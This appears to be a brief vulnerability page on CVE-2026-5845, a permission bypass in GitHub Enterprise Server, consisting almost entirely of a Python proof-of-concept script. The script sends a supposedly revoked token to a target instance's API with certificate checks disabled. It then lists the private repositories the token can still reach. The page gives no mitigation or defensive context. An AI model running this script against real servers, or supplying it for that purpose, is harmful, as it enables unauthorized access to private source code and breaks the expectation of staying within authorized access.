CVE-2026-5845 GitHub Enterprise Server 权限绕过漏洞

#!/usr/bin/env python3 """ Conceptual PoC for CVE-2026-5845 Demonstrates checking if a scoped token acts as global due to authorization fallback. """ import requests TARGET = "https://your-ghe-instance.com/api/v3/user/repos" # Token from a revoked/deleted installation that might fallback to global TOKEN = "ghp_example_revoked_token" def check_access(): headers = { "Authorization": f"token {TOKEN}", "Accept": "application/vnd.github.v3+json" } print(f"[*] Attempting to list repositories using token: {TOKEN[:10]}...") try: r = requests.get(TARGET, headers=headers, verify=False) if r.status_code == 200: repos = r.json() print(f"[+] Success! Token has access to {len(repos)} repositories.") for repo in repos: if repo.get('private'): print(f" [!] Private Repo: {repo['full_name']}") else: print(f"[-] Failed. Status Code: {r.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": check_access()